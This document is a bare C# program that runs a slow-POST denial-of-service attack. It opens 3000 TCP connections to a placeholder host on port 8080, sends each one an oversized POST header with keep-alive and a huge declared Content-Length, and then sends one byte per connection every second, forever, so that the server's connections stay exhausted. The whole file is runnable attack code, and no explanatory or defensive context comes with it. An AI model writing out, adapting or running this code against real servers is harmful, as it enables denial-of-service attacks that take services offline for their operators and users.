static void Main(string[] args)        {            string host = "target";            int port = 8080;            int max_number_of_connection = 3000;            List
     
       clients = new List
      
       ();            for (int i = 0; i < max_number_of_connection; i++)            {                TcpClient client = new TcpClient();                clients.Add(client);                client.Connect(host, port);                if (client.Connected)                {                    string header = "POST /a HTTP/1.1\r\n" +                                    "HOST: " + host + "\r\n" +                                    "Connection: keep-alive\r\n" +                                    "Keep-Alive: 900\r\n" +                                    "Content-Length: 100000000\r\n" +                                    "Content_Type: application/x-www-form-urlencoded\r\n" +                                    "Accept: *.*\r\n";                    int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));                    if (sent <= 0)                    {                        Console.WriteLine("Error while connecting to server");                    }                    else                    {                        Console.WriteLine("Connected");                    }                }            }            while (true)            {                int i = 0;                foreach (TcpClient client in clients)                {                    i++;                    client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));                    Console.WriteLine("Client " + i + " just sent a byte.");                }                Thread.Sleep(1000);            }        }